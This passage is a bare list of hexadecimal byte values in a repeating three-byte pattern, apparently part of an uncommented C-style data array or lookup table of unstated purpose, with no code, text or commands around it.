0x3C, 0x01, 0x0A, 0x5A, 0x01, 0x0B, 0x0A, 0x01, 0x09, 0x01, 0x03, 0x14, 0x16, 0x02, 0x11, 0x6A, 0x02, 0x0B, 0x7B, 0x03, 0x14, 0x16, 0x01, 0x01, 0x16, 0x02, 0x12, 0x00, 0x01, 0x00, 0x45, 0x02, 0x17, 0x58, 0x02, 0x0C, 0x21, 0x02, 0x11, 0x12, 0x03, 0x01, 0x5A, 0x03, 0x04, 0x54, 0x02, 0x08, 0x43, 0x02, 0x15, 0x6B, 0x01, 0x0B, 0x1A, 0x03, 0x13, 0x58, 0x02, 0x10, 0x2E, 0x02, 0x14, 0x07, 0x03, 0x07, 0x61, 0x02, 0x12, 0x7C, 0x02, 0x00, 0x09, 0x01, 0x11, 0x41, 0x01, 0x17, 0x5E, 0x03, 0x11, 0x49, 0x01, 0x16, 0x12, 0x03, 0x11, 0x7F, 0x02, 0x06, 0x23, 0x01, 0x08, 0x08, 0x02, 0x16, 0x58, 0x02, 0x08, 0x5A, 0x01, 0x09, 0x4D, 0x01, 0x13, 0x44, 0x03, 0x01, 0x67, 0x01, 0x06, 0x29, 0x03, 0x09, 0x10, 0x01, 0x0B, 0x7B, 0x01, 0x07, 0x0E, 0x02, 0x14, 0x5E, 0x02, 0x08, 0x36, 0x03, 0x15, 0x39, 0x02, 0x0D, 0x39, 0x01, 0x0C, 0x7E, 0x01, 0x0F, 0x1F, 0x03, 0x09, 0x5B, 0x01, 0x11, 0x74, 0x03, 0x01, 0x18, 0x02, 0x02, 0x01, 0x02, 0x06, 0x02, 0x03, 0x0D, 0x02, 0x03, 0x11, 0x14, 0x02, 0x03, 0x7D, 0x02, 0x0F, 0x59, 0x01, 0x05, 0x57, 0x01, 0x0F, 0x05, 0x03, 0x08, 0x30, 0x01, 0x07, 0x2E, 0x01, 0x00, 0x70, 0x03, 0x14, 0x0C, 0x02, 0x07, 0x38, 0x02, 0x03, 0x7B, 0x02, 0x03, 0x03, 0x01, 0x05, 0x37, 0x03, 0x0B, 0x2C, 0x01, 0x16, 0x6B, 0x01, 0x04, 0x30, 0x01, 0x13, 0x77, 0x03, 0x06, 0x22, 0x02, 0x00, 0x43, 0x02, 0x11, 0x2F, 0x01, 0x02, 0x64, 0x03, 0x09, 0x30, 0x03, 0x09, 0x43, 0x02, 0x05, 0x13, 0x01, 0x07, 0x19, 0x02, 0x01, 0x0A, 0x02, 0x16, 0x3D, 0x02, 0x0E, 0x04, 0x01, 0x0C, 0x34, 0x02, 0x17, 0x67, 0x01, 0x14, 0x3B, 0x02, 0x04, 0x45, 0x02, 0x0A, 0x48, 0x01, 0x01, 0x6A, 0x02, 0x0C, 0x1F, 0x02, 0x06, 0x7C, 0x01, 0x0B, 0x00, 0x01, 0x17, 0x7B, 0x03, 0x07, 0x17, 0x01, 0x11, 0x02, 0x03, 0x03, 0x23, 0x03, 0x01, 0x2C, 0x01, 0x0F, 0x16, 0x01, 0x05, 0x6A, 0x03, 0x04, 0x65, 0x03, 0x08, 0x63, 0x03, 0x03, 0x7F, 0x01, 0x08, 0x76, 0x02, 0x15, 0x04, 0x01, 0x0B, 0x67, 0x01, 0x0C, 0x47, 0x01, 0x16, 0x4E, 0x01, 0x0F, 0x64, 0x03, 0x17, 0x4C, 0x03, 0x13, 0x40, 0x01, 0x0D, 0x2E, 0x01, 0x0D, 0x29, 0x01, 0x05, 0x4D, 0x02, 0x0E, 0x20, 0x02, 0x04, 0x48, 0x02, 0x17, 0x48, 0x02, 0x09, 0x55, 0x01, 0x09, 0x67, 0x01, 0x08, 0x0D, 0x02, 0x13, 0x08, 0x03, 0x0E, 0x44, 0x03, 0x17, 0x32, 0x02, 0x0A, 0x3B, 0x03, 0x02, 0x54, 0x02, 0x0E, 0x7B, 0x02, 0x02, 0x3E, 0x01, 0x13, 0x04, 0x03, 0x00, 0x68, 0x02, 0x05, 0x68, 0x01, 0x05, 0x26, 0x03, 0x0F, 0x6D, 0x01, 0x0F, 0x03, 0x01, 0x07, 0x03, 0x02, 0x15, 0x6D, 0x01, 0x11, 0x75, 0x01, 0x03, 0x3B, 0x02, 0x09, 0x0A, 0x03, 0x0F, 0x61, 0x02, 0x10, 0x47, 0x01, 0x04, 0x22, 0x03, 0x0F, 0x01, 0x01, 0x12, 0x55, 0x03, 0x0F, 0x4D, 0x03, 0x02, 0x59, 0x03, 0x07, 0x2F, 0x02, 0x16, 0x35, 0x01, 0x0D, 0x13, 0x02, 0x12, 0x65, 0x01, 0x11, 0x6B, 0x03, 0x06, 0x76, 0x02, 0x05, 0x7C, 0x03, 0x15, 0x0E, 0x01, 0x0D, 0x4D, 0x03, 0x00, 0x12, 0x02, 0x09, 0x2E, 0x01, 0x12, 0x7D, 0x02, 0x06, 0x3F, 0x03, 0x15, 0x51, 0x03, 0x05, 0x0A, 0x03, 0x13, 0x32, 0x03, 0x06, 0x07, 0x01, 0x0B, 0x6D, 0x01, 0x13, 0x5D, 0x01, 0x02, 0x65, 0x02, 0x0F, 0x3B, 0x02, 0x0A, 0x14, 0x01, 0x0B, 0x02, 0x01, 0x16, 0x03, 0x03, 0x17, 0x48, 0x02, 0x0C, 0x40, 0x01, 0x14, 0x5C, 0x02, 0x17, 0x47, 0x03, 0x08, 0x15, 0x02, 0x0C, 0x3B, 0x03, 0x0C, 0x3D, 0x01, 0x05, 0x2E, 0x01, 0x15, 0x76, 0x02, 0x11, 0x6B, 0x01, 0x04, 0x7A, 0x03, 0x08, 0x61, 0x02, 0x14, 0x20, 0x03, 0x10, 0x08, 0x01, 0x0F, 0x19, 0x02, 0x07, 0x78, 0x02, 0x00, 0x5C, 0x01, 0x16, 0x07, 0x01, 0x16, 0x7E, 0x03, 0x05, 0x46, 0x02, 0x01, 0x10, 0x02, 0x01, 0x22, 0x03, 0x05, 0x7D, 0x03, 0x0B, 0x36, 0x01, 0x11, 0x54, 0x03, 0x12, 0x70, 0x01, 0x06, 0x19, 0x03, 0x0C, 0x56, 0x01, 0x07, 0x00, 0x01, 0x03, 0x15, 0x02, 0x02, 0x66, 0x01, 0x07, 0x6D, 0x02, 0x02, 0x62, 0x02, 0x04, 0x13, 0x02, 0x08, 0x76, 0x01, 0x11, 0x1F, 0x02, 0x06, 0x4A, 0x03, 0x0C, 0x25, 0x03, 0x16, 0x6A, 0x01, 0x16, 0x7B, 0x01, 0x16, 0x65, 0x03, 0x01, 0x05, 0x03, 0x03, 0x35, 0x03, 0x06, 0x46, 0x01, 0x05, 0x25, 0x02, 0x0E, 0x4D, 0x01, 0x0A, 0x6E, 0x02, 0x0F, 0x69, 0x01, 0x01, 0x20, 0x02, 0x0A, 0x62, 0x01, 0x15, 0x24, 0x03, 0x15, 0x1F, 0x03, 0x0D, 0x75, 0x01, 0x10, 0x4B, 0x02, 0x10, 0x1D, 0x02, 0x10, 0x20, 0x02, 0x13, 0x72, 0x01, 0x09, 0x25, 0x01, 0x05, 0x77, 0x03, 0x00, 0x77, 0x03, 0x08, 0x57, 0x01, 0x06, 0x39, 0x01, 0x09, 0x4B, 0x03, 0x0E, 0x2F, 0x02, 0x13, 0x60, 0x02, 0x09, 0x09, 0x03, 0x15, 0x1C, 0x03, 0x07, 0x03, 0x03, 0x01, 0x7C, 0x03, 0x04, 0x62, 0x03, 0x03, 0x4C, 0x03, 0x0E, 0x12, 0x03, 0x0C, 0x4B, 0x03, 0x0F, 0x4F, 0x02, 0x17, 0x4A, 0x01, 0x11, 0x1E, 0x01, 0x00, 0x7C, 0x03, 0x03, 0x12, 0x03, 0x02, 0x53, 0x03, 0x01, 0x6E, 0x02, 0x00, 0x1C, 0x03, 0x09, 0x13, 0x02, 0x03, 0x41, 0x01, 0x11, 0x12, 0x02, 0x0D, 0x55, 0x01, 0x13, 0x28, 0x01, 0x04, 0x20, 0x03, 0x14, 0x11, 0x02, 0x01, 0x05, 0x03, 0x04, 0x27, 0x03, 0x16, 0x50, 0x02, 0x14, 0x0C, 0x02, 0x0F, 0x32, 0x02, 0x16, 0x78, 0x03, 0x14, 0x22, 0x02, 0x0A, 0x50, 0x03, 0x13, 0x64, 0x02, 0x16, 0x52, 0x02, 0x01, 0x7A, 0x02, 0x04, 0x24, 0x01, 0x06, 0x71, 0x01, 0x0C, 0x75, 0x02, 0x17, 0x1B, 0x03, 0x0D, 0x5C, 0x01, 0x10, 0x6E, 0x02, 0x15, 0x36, 0x01, 0x0F, 0x55, 0x03, 0x13, 0x23, 0x03, 0x17, 0x79, 0x03, 0x13, 0x17, 0x03, 0x0D, 0x54, 0x01, 0x0A, 0x72, 0x02, 0x15, 0x01, 0x01, 0x15, 0x4C, 0x02, 0x03, 0x5C, 0x03, 0x0E, 0x30, 0x02, 0x0D, 0x30, 0x03, 0x0B, 0x47, 0x01, 0x17, 0x0F, 0x02, 0x0D, 0x5D, 0x02, 0x12, 0x38, 0x02, 0x0A, 0x11, 0x01, 0x00, 0x7A, 0x01, 0x00, 0x5A, 0x02, 0x06, 0x1E, 0x03, 0x0A, 0x1E, 0x02, 0x00, 0x70, 0x03, 0x0A, 0x55, 0x01, 0x00, 0x7F, 0x01, 0x0D, 0x70, 0x02, 0x11, 0x6A, 0x02, 0x12, 0x7C, 0x01, 0x08, 0x46, 0x01, 0x0B, 0x0E, 0x03, 0x08, 0x4F, 0x02, 0x14, 0x73, 0x03, 0x14, 0x36, 0x01, 0x0A, 0x7B, 0x02, 0x00, 0x79, 0x03, 0x09, 0x4F, 0x01, 0x11, 0x21, 0x03, 0x01, 0x34, 0x02, 0x11, 0x78, 0x03, 0x15, 0x01, 0x03, 0x08, 0x2A, 0x02, 0x07, 0x70, 0x02, 0x02, 0x56, 0x01, 0x01, 0x3E, 0x02, 0x02, 0x77, 0x01, 0x08, 0x75, 0x01, 0x05, 0x07, 0x02, 0x07, 0x18, 0x03, 0x09, 0x3B, 0x03, 0x12, 0x34, 0x01, 0x0B, 0x3D, 0x03, 0x0F, 0x3D, 0x03, 0x17, 0x11, 0x01, 0x0E, 0x5E, 0x01, 0x0D, 0x68, 0x02, 0x0B, 0x25, 0x03, 0x07, 0x1B, 0x02, 0x0A, 0x52, 0x03, 0x0F, 0x03, 0x03, 0x08, 0x61, 0x01, 0x16, 0x2E, 0x03, 0x0E,
0x05, 0x01, 0x08, 0x12, 0x02, 0x03, 0x59, 0x03, 0x0D, 0x63, 0x02, 0x08, 0x14, 0x02, 0x07, 0x60, 0x02, 0x06, 0x45, 0x03, 0x05, 0x17, 0x03, 0x0C, 0x63, 0x03, 0x0B, 0x66, 0x02, 0x06, 0x2F, 0x01, 0x0D, 0x0E, 0x02, 0x00, 0x08, 0x01, 0x0C, 0x3C, 0x03, 0x07, 0x33, 0x03, 0x11, 0x14, 0x02, 0x14, 0x51, 0x03, 0x17, 0x26, 0x01, 0x0B, 0x79, 0x01, 0x03, 0x09, 0x02, 0x00, 0x75, 0x01, 0x11, 0x07, 0x01, 0x00, 0x6F, 0x02, 0x16, 0x7F, 0x03, 0x17, 0x49, 0x03, 0x11, 0x42, 0x03, 0x17, 0x57, 0x01, 0x10, 0x60, 0x02, 0x01, 0x66, 0x01, 0x17, 0x53, 0x03, 0x00, 0x0D, 0x01, 0x0A, 0x17, 0x03, 0x0D, 0x44, 0x02, 0x0C, 0x24, 0x01, 0x14, 0x4A, 0x02, 0x10, 0x71, 0x03, 0x00, 0x15, 0x01, 0x0C, 0x46, 0x03, 0x0C, 0x73, 0x03, 0x12, 0x51, 0x03, 0x06, 0x52, 0x03, 0x12, 0x2A, 0x03, 0x17, 0x32, 0x01, 0x0E, 0x19, 0x01, 0x0C, 0x56, 0x03, 0x13, 0x0C, 0x03, 0x0F, 0x5D, 0x01, 0x08, 0x2E, 0x02, 0x00, 0x56, 0x02, 0x0A, 0x01, 0x02, 0x14, 0x1F, 0x03, 0x05, 0x22, 0x01, 0x14, 0x08, 0x02, 0x17, 0x24, 0x02, 0x00, 0x0A, 0x01, 0x10, 0x3B, 0x02, 0x05, 0x0C, 0x02, 0x13, 0x4A, 0x02, 0x17, 0x6E, 0x01, 0x0B, 0x21, 0x01, 0x16, 0x1F, 0x03, 0x0D, 0x2C, 0x01, 0x0D, 0x5C, 0x03, 0x11, 0x27, 0x03, 0x12, 0x35, 0x02, 0x01, 0x60, 0x03, 0x0B, 0x0F, 0x03, 0x15, 0x7D, 0x03, 0x09, 0x5C, 0x03, 0x01, 0x74, 0x03, 0x06, 0x77, 0x01, 0x08, 0x26, 0x03, 0x0F, 0x05, 0x02, 0x00, 0x0B, 0x03, 0x12, 0x2B, 0x01, 0x15, 0x65, 0x01, 0x08, 0x01, 0x01, 0x03, 0x7F, 0x01, 0x04, 0x42, 0x02, 0x07, 0x56, 0x03, 0x16, 0x3C, 0x03, 0x05, 0x20, 0x02, 0x15, 0x51, 0x02, 0x05, 0x11, 0x02, 0x0C, 0x07, 0x03, 0x05, 0x79, 0x03, 0x02, 0x25, 0x02, 0x17, 0x66, 0x03, 0x16, 0x7E, 0x02, 0x13, 0x0B, 0x01, 0x12, 0x7F, 0x02, 0x13, 0x51, 0x02, 0x0B, 0x3A, 0x01, 0x12, 0x39, 0x01, 0x0B, 0x56, 0x02, 0x0E, 0x2A, 0x01, 0x08, 0x09, 0x01, 0x0A, 0x26, 0x01, 0x06, 0x1D, 0x03, 0x08, 0x5B, 0x02, 0x0E, 0x6A, 0x02, 0x04, 0x20, 0x01, 0x04, 0x09, 0x02, 0x10, 0x4C, 0x03, 0x11, 0x29, 0x03, 0x07, 0x6D, 0x01, 0x07, 0x52, 0x01, 0x10, 0x1D, 0x02, 0x02, 0x56, 0x01, 0x01, 0x1E, 0x03, 0x12, 0x33, 0x02, 0x09, 0x54, 0x02, 0x01, 0x19, 0x01, 0x03, 0x7B, 0x03, 0x09, 0x43, 0x01, 0x17, 0x39, 0x03, 0x16, 0x45, 0x02, 0x13, 0x63, 0x01, 0x06, 0x19, 0x03, 0x06, 0x1D, 0x02, 0x08, 0x56, 0x02, 0x0B, 0x25, 0x01, 0x05, 0x5C, 0x02, 0x02, 0x7E, 0x01, 0x0F, 0x7D, 0x02, 0x16, 0x11, 0x03, 0x11, 0x1A, 0x01, 0x05, 0x19, 0x03, 0x0F, 0x6E, 0x03, 0x15, 0x47, 0x03, 0x15, 0x05, 0x01, 0x08, 0x45, 0x03, 0x03, 0x69, 0x02, 0x17, 0x41, 0x01, 0x08, 0x4A, 0x01, 0x08, 0x20, 0x02, 0x12, 0x5F, 0x01, 0x17, 0x79, 0x01, 0x17, 0x65, 0x03, 0x01, 0x38, 0x01, 0x0B, 0x00, 0x01, 0x15, 0x51, 0x01, 0x03, 0x27, 0x02, 0x12, 0x62, 0x01, 0x06, 0x04, 0x01, 0x0C, 0x00, 0x01, 0x04, 0x2A, 0x02, 0x0A, 0x2A, 0x03, 0x0F, 0x7D, 0x03, 0x0D, 0x00, 0x01, 0x10, 0x10, 0x03, 0x0F, 0x3A, 0x03, 0x16, 0x65, 0x03, 0x06, 0x17, 0x01, 0x04, 0x7F, 0x01, 0x0A, 0x6D, 0x01, 0x12, 0x38, 0x01, 0x09, 0x67, 0x03, 0x01, 0x36, 0x02, 0x10, 0x25, 0x02, 0x0A, 0x25, 0x01, 0x06, 0x69, 0x03, 0x08, 0x27, 0x01, 0x0B, 0x78, 0x02, 0x05, 0x56, 0x01, 0x03, 0x13, 0x03, 0x04, 0x2A, 0x02, 0x12, 0x53, 0x02, 0x01, 0x36, 0x03, 0x09, 0x37, 0x02, 0x08, 0x2F, 0x02, 0x08, 0x15, 0x02, 0x16, 0x5F, 0x02, 0x07, 0x29, 0x03, 0x14, 0x0F, 0x01, 0x11, 0x2C, 0x02, 0x0C, 0x60, 0x03, 0x06, 0x3E, 0x01, 0x07, 0x14, 0x01, 0x07, 0x54, 0x02, 0x07, 0x21, 0x02, 0x08, 0x28, 0x02, 0x0A, 0x36, 0x02, 0x05, 0x00, 0x02, 0x17, 0x16, 0x02, 0x01, 0x1E, 0x03, 0x01, 0x2A, 0x01, 0x03, 0x09, 0x03, 0x02, 0x00, 0x03, 0x15, 0x5B, 0x02, 0x09, 0x40, 0x02, 0x09, 0x6E, 0x01, 0x01, 0x75, 0x03, 0x03, 0x79, 0x01, 0x00, 0x11, 0x03, 0x0C, 0x47, 0x03, 0x01, 0x37, 0x01, 0x11, 0x05, 0x02, 0x15, 0x4F, 0x01, 0x05, 0x3A, 0x01, 0x0D, 0x52, 0x01, 0x0C, 0x36, 0x02, 0x13, 0x2D, 0x03, 0x11, 0x65, 0x02, 0x0B, 0x11, 0x03, 0x11, 0x58, 0x03, 0x07, 0x3D, 0x02, 0x12, 0x27, 0x03, 0x06, 0x53, 0x01, 0x17, 0x5E, 0x01, 0x0D, 0x7D, 0x03, 0x16, 0x1C, 0x03, 0x11, 0x16, 0x01, 0x08, 0x52, 0x01, 0x15, 0x58, 0x03, 0x0A, 0x08, 0x01, 0x11, 0x3F, 0x01, 0x0B, 0x26, 0x02, 0x03, 0x6C, 0x01, 0x04, 0x75, 0x03, 0x13, 0x34, 0x01, 0x16, 0x13, 0x02, 0x0B, 0x33, 0x01, 0x00, 0x56, 0x03, 0x12, 0x0C, 0x02, 0x14, 0x55, 0x01, 0x0A, 0x72, 0x01, 0x07, 0x4D, 0x01, 0x16, 0x50, 0x03, 0x06, 0x76, 0x02, 0x09, 0x28, 0x02, 0x00, 0x07, 0x01, 0x16, 0x3E, 0x02, 0x0F, 0x4A, 0x01, 0x03, 0x1D, 0x02, 0x0A, 0x63, 0x03, 0x05, 0x3A, 0x01, 0x04, 0x1A, 0x02, 0x02, 0x03, 0x03, 0x05, 0x45, 0x02, 0x12, 0x41, 0x01, 0x09, 0x66, 0x03, 0x01, 0x4C, 0x02, 0x10, 0x65, 0x03, 0x01, 0x6F, 0x01, 0x15, 0x61, 0x02, 0x03, 0x0F, 0x01, 0x08, 0x66, 0x02, 0x0E, 0x5C, 0x02, 0x08, 0x45, 0x02, 0x0C, 0x6A, 0x01, 0x03, 0x4F, 0x03, 0x03, 0x6B, 0x02, 0x04, 0x74, 0x02, 0x05, 0x70, 0x02, 0x11, 0x68, 0x02, 0x0A, 0x6B, 0x01, 0x0C, 0x32, 0x03, 0x11, 0x13, 0x01, 0x10, 0x4F, 0x01, 0x0F, 0x55, 0x03, 0x0A, 0x54, 0x01, 0x11, 0x66, 0x01, 0x17, 0x3F, 0x02, 0x03, 0x71, 0x01, 0x08, 0x1C, 0x03, 0x11, 0x7D, 0x02, 0x0B, 0x1B, 0x01, 0x06, 0x23, 0x02, 0x01, 0x35, 0x01, 0x03, 0x3B, 0x03, 0x01, 0x0A, 0x03, 0x0F, 0x10, 0x01, 0x0D, 0x50, 0x02, 0x15, 0x44, 0x01, 0x07, 0x42, 0x03, 0x00, 0x26, 0x01, 0x0C, 0x6B, 0x01, 0x05, 0x60, 0x01, 0x0B, 0x15, 0x02, 0x0F, 0x61, 0x01, 0x17, 0x67, 0x03, 0x0B, 0x3B, 0x03, 0x11, 0x3E, 0x03, 0x00, 0x10, 0x01, 0x07, 0x3E, 0x03, 0x07, 0x40, 0x01, 0x04, 0x05, 0x02, 0x11, 0x3B, 0x01, 0x0E, 0x02, 0x02, 0x15, 0x27, 0x02, 0x0C, 0x68, 0x03, 0x09, 0x54, 0x01, 0x04, 0x3D, 0x03, 0x09, 0x48, 0x03, 0x03, 0x50, 0x02, 0x13, 0x27, 0x03, 0x15, 0x6D, 0x02, 0x02, 0x1F, 0x01, 0x17, 0x62, 0x02, 0x07, 0x5B, 0x01, 0x12, 0x71, 0x03, 0x15, 0x6B, 0x01, 0x0B, 0x73, 0x03, 0x04, 0x49, 0x01, 0x0A, 0x1A, 0x02, 0x17, 0x10, 0x02, 0x0E, 0x3C, 0x01, 0x02, 0x24, 0x01, 0x0C, 0x0C, 0x02, 0x04, 0x19, 0x03, 0x04, 0x20, 0x02, 0x12, 0x6D, 0x02, 0x0D, 0x36, 0x02, 0x09, 0x36, 0x03, 0x11, 0x4E, 0x01, 0x03, 0x3C, 0x03, 0x0E, 0x0E, 0x02, 0x01, 0x37, 0x01, 0x05, 0x72, 0x01, 0x15, 0x6D, 0x01, 0x08, 0x08, 0x01, 0x14, 0x67, 0x03, 0x02, 0x5C, 0x03, 0x17, 0x7C, 0x02, 0x07, 0x0A, 0x01, 0x14, 0x15, 0x02, 0x11, 0x5D, 0x02, 0x13, 0x19, 0x02, 0x0E, 0x09, 0x02, 0x16, 0x4E, 0x03, 0x10, 0x09, 0x03, 0x12, 0x50, 0x01, 0x0E, 0x67, 0x03, 0x13, 0x56, 0x01, 0x0F, 0x01, 0x03, 0x15, 0x31, 0x02, 0x0B, 0x64, 0x02, 0x17, 0x0A, 0x01, 0x01, 0x70, 0x02, 0x10, 0x2C, 0x02, 0x0E, 0x43, 0x03, 0x01, 0x79, 0x01, 0x13, 0x6B, 0x02, 0x17, 0x43, 0x01, 0x14, 0x2F, 0x03, 0x0D, 0x30, 0x03, 0x03, 0x57, 0x01, 0x0F, 0x64, 0x01, 0x0D, 0x0F, 0x03, 0x17, 0x1E, 0x03, 0x15, 0x7F, 0x01, 0x10, 0x02, 0x02, 0x06, 0x3C, 0x01, 0x09, 0x10, 0x03, 0x06, 0x42, 0x02, 0x0A, 0x0B, 0x02, 0x0F, 0x66, 0x02, 0x07, 0x44, 0x03, 0x01, 0x70, 0x02, 0x11, 0x58, 0x01, 0x06, 0x1F, 0x02, 0x11, 0x31, 0x03, 0x0A, 0x25, 0x02, 0x0C, 0x04, 0x02, 0x04, 0x23, 0x02, 0x05, 0x1D, 0x02, 0x04, 0x2C, 0x01, 0x0D, 0x5F, 0x01, 0x03, 0x5F, 0x03, 0x0E, 0x13, 0x03, 0x14, 0x63, 0x03, 0x0F, 0x07, 0x03, 0x05, 0x43, 0x03, 0x15, 0x35, 0x03, 0x17, 0x72, 0x03, 0x05, 0x6E, 0x03, 0x02, 0x77, 0x02, 0x16, 0x7D, 0x01, 0x0E, 0x51, 0x03, 0x08, 0x40, 0x02, 0x17, 0x5E, 0x03, 0x04, 0x6B, 0x02, 0x0F, 0x7D, 0x03, 0x0A, 0x30, 0x01, 0x03, 0x76, 0x02, 0x15, 0x51, 0x02, 0x06, 0x77, 0x02, 0x17, 0x19, 0x02, 0x05, 0x23, 0x02, 0x04, 0x23, 0x02, 0x15, 0x57, 0x03, 0x03, 0x30, 0x02, 0x03, 0x5E, 0x03, 0x10, 0x2C, 0x01, 0x10, 0x38, 0x02, 0x11, 0x2D, 0x01, 0x04, 0x77, 0x02, 0x08, 0x57, 0x03, 0x0D, 0x27, 0x03, 0x00, 0x38, 0x03, 0x06, 0x32, 0x02, 0x12, 0x0D, 0x02, 0x10, 0x30, 0x02, 0x17, 0x09, 0x01, 0x0D, 0x23, 0x03, 0x02, 0x59, 0x01, 0x17, 0x73, 0x02, 0x05, 0x27, 0x03, 0x16, 0x3D, 0x02, 0x02, 0x1F, 0x02, 0x16, 0x3D, 0x03, 0x16, 0x14, 0x03, 0x14, 0x64, 0x01, 0x11, 0x4E, 0x02, 0x0A, 0x09, 0x01, 0x07, 0x2E, 0x01, 0x08, 0x25, 0x02, 0x0B, 0x0A, 0x03, 0x0E, 0x61, 0x02, 0x08, 0x69, 0x03, 0x06, 0x2C, 0x02, 0x16, 0x69, 0x03, 0x16, 0x1C, 0x01, 0x0A, 0x56, 0x01, 0x16, 0x72, 0x03, 0x07, 0x6F, 0x03, 0x10, 0x19, 0x01, 0x07, 0x0F, 0x02, 0x14, 0x29, 0x02, 0x17, 0x48, 0x03, 0x12, 0x54, 0x03, 0x01, 0x2C, 0x02, 0x17, 0x0F, 0x03, 0x02, 0x44, 0x02, 0x07, 0x6A, 0x03, 0x15, 0x2B, 0x01, 0x06, 0x3D, 0x03, 0x0B, 0x50, 0x03, 0x14, 0x60, 0x02, 0x04, 0x57, 0x01, 0x11, 0x77, 0x03, 0x02, 0x2F, 0x01, 0x01, 0x07, 0x03, 0x13, 0x5B, 0x03, 0x17, 0x28, 0x01, 0x16, 0x22, 0x01, 0x17, 0x58, 0x01, 0x13, 0x14, 0x02, 0x14, 0x44, 0x02, 0x17, 0x1D, 0x03, 0x15, 0x05, 0x03, 0x14, 0x0E, 0x01, 0x17, 0x10, 0x01, 0x00, 0x16, 0x03, 0x07, 0x7B, 0x01, 0x0F, 0x03, 0x02, 0x0D, 0x6A, 0x03, 0x0A, 0x72, 0x03, 0x09, 0x3E, 0x03, 0x10, 0x7E, 0x01, 0x15, 0x78, 0x02, 0x01, 0x36, 0x02, 0x12, 0x17, 0x01, 0x07, 0x38, 0x03, 0x03, 0x62, 0x02, 0x0C, 0x2A, 0x01, 0x15, 0x4B, 0x02, 0x0B, 0x15, 0x01, 0x13, 0x4D, 0x02, 0x12, 0x72, 0x03, 0x03, 0x38, 0x03, 0x08, 0x12, 0x02, 0x0A, 0x3C, 0x02, 0x13, 0x44, 0x01, 0x08, 0x78, 0x03, 0x05, 0x27, 0x02, 0x03, 0x62, 0x02, 0x07, 0x5D, 0x02, 0x0B, 0x08, 0x02, 0x0B, 0x16, 0x02, 0x10, 0x03, 0x03, 0x08, 0x22, 0x03, 0x16, 0x1A, 0x02, 0x05, 0x4A, 0x03, 0x03, 0x28, 0x03, 0x15, 0x3F, 0x03, 0x01, 0x3B, 0x03, 0x09, 0x6F, 0x02, 0x0F, 0x1F, 0x01, 0x0B, 0x4B, 0x01, 0x16, 0x48, 0x02, 0x0A, 0x2B, 0x03, 0x0A, 0x01, 0x03, 0x0E, 0x2C, 0x03, 0x03, 0x2B, 0x01, 0x13, 0x2D, 0x03, 0x08, 0x30, 0x02, 0x13, 0x26, 0x01, 0x06, 0x48, 0x03, 0x0C, 0x0B, 0x03, 0x14, 0x13, 0x03, 0x14, 0x51, 0x03, 0x17, 0x5B, 0x02, 0x11, 0x1C, 0x01, 0x04, 0x34, 0x02, 0x09, 0x5E, 0x02, 0x0B, 0x0C, 0x03, 0x15, 0x1B, 0x02, 0x07, 0x32, 0x01, 0x0F, 0x25, 0x01, 0x04, 0x46, 0x03, 0x15, 0x4C, 0x03, 0x10, 0x70, 0x01, 0x08, 0x34, 0x01, 0x04, 0x2E, 0x02, 0x06, 0x3B, 0x03, 0x0A, 0x63, 0x01, 0x15, 0x08, 0x02, 0x05, 0x56, 0x03, 0x04, 0x1A, 0x03, 0x09, 0x69, 0x01, 0x02, 0x4B, 0x02, 0x16, 0x0F, 0x03, 0x10, 0x57, 0x03, 0x08, 0x12, 0x02, 0x03, 0x1D, 0x01, 0x0E, 0x7F, 0x02, 0x13, 0x55, 0x01, 0x11, 0x71, 0x03, 0x0C, 0x55, 0x02, 0x17, 0x7F, 0x01, 0x0C, 0x22, 0x03, 0x14, 0x5A, 0x01, 0x05, 0x19, 0x01, 0x02, 0x0F, 0x02, 0x12, 0x0E, 0x03, 0x03, 0x52, 0x02, 0x05, 0x16, 0x02, 0x11, 0x58, 0x01, 0x0E, 0x28, 0x01, 0x10, 0x16, 0x02, 0x0F, 0x55, 0x02, 0x0C, 0x0A, 0x03, 0x15, 0x0E, 0x02, 0x16, 0x64, 0x01, 0x0B, 0x20, 0x01, 0x06, 0x4A, 0x01, 0x04, 0x3C, 0x02, 0x06, 0x10, 0x03, 0x02, 0x3B, 0x01, 0x0C, 0x77, 0x02, 0x03, 0x06, 0x03, 0x17, 0x4F, 0x01, 0x02, 0x11, 0x02, 0x0E, 0x26, 0x01, 0x09, 0x43, 0x01, 0x01, 0x05, 0x01, 0x0A, 0x0C, 0x01, 0x10, 0x05, 0x03, 0x03, 0x07, 0x03, 0x13, 0x3C, 0x03, 0x01, 0x24, 0x03, 0x11, 0x0E, 0x02, 0x14, 0x27, 0x01, 0x06, 0x1B, 0x01, 0x0F, 0x6D, 0x03, 0x07, 0x67, 0x03, 0x07, 0x5C, 0x03, 0x03, 0x4E, 0x01, 0x0D, 0x11, 0x03, 0x0F, 0x5F, 0x03, 0x14, 0x4B, 0x02, 0x17, 0x32, 0x03, 0x00, 0x1A, 0x01, 0x02, 0x53, 0x03, 0x0E, 0x7B, 0x01, 0x15, 0x1C, 0x02, 0x08, 0x42, 0x01, 0x0B, 0x62, 0x01, 0x15, 0x33, 0x01, 0x16, 0x66, 0x02, 0x00, 0x54, 0x01, 0x11, 0x5E, 0x02, 0x16, 0x45, 0x03, 0x10, 0x5B, 0x02, 0x17, 0x33, 0x03, 0x01, 0x0E, 0x01, 0x08, 0x1A, 0x02, 0x05, 0x1C, 0x01, 0x11, 0x26, 0x03, 0x0F, 0x55, 0x01, 0x08, 0x04, 0x03, 0x0E, 0x13, 0x03, 0x02, 0x15, 0x01, 0x11, 0x6D, 0x01, 0x17, 0x27, 0x01, 0x0A, 0x1A, 0x02, 0x0A, 0x4F, 0x02, 0x02, 0x25, 0x02, 0x0B, 0x3C, 0x02, 0x07, 0x1F, 0x02, 0x07, 0x7C, 0x02, 0x08, 0x78, 0x03, 0x0E, 0x22, 0x03, 0x11, 0x07, 0x02, 0x15, 0x29, 0x03, 0x04, 0x05, 0x02, 0x15, 0x40, 0x01, 0x04, 0x4D, 0x02, 0x0A, 0x00, 0x02, 0x00, 0x07, 0x03, 0x05, 0x2E, 0x02, 0x08, 0x0E, 0x02, 0x11, 0x4A, 0x03, 0x16, 0x7E, 0x02, 0x02, 0x62, 0x03, 0x15, 0x55, 0x02, 0x13, 0x10, 0x02, 0x00, 0x3E, 0x02, 0x02, 0x7A, 0x03, 0x14, 0x66, 0x01, 0x10, 0x18, 0x01, 0x05, 0x68, 0x01, 0x02, 0x04, 0x02, 0x07, 0x5D, 0x03, 0x06, 0x6E, 0x03, 0x0C, 0x76, 0x02, 0x14, 0x7B, 0x02, 0x09, 0x4A, 0x01, 0x11, 0x58, 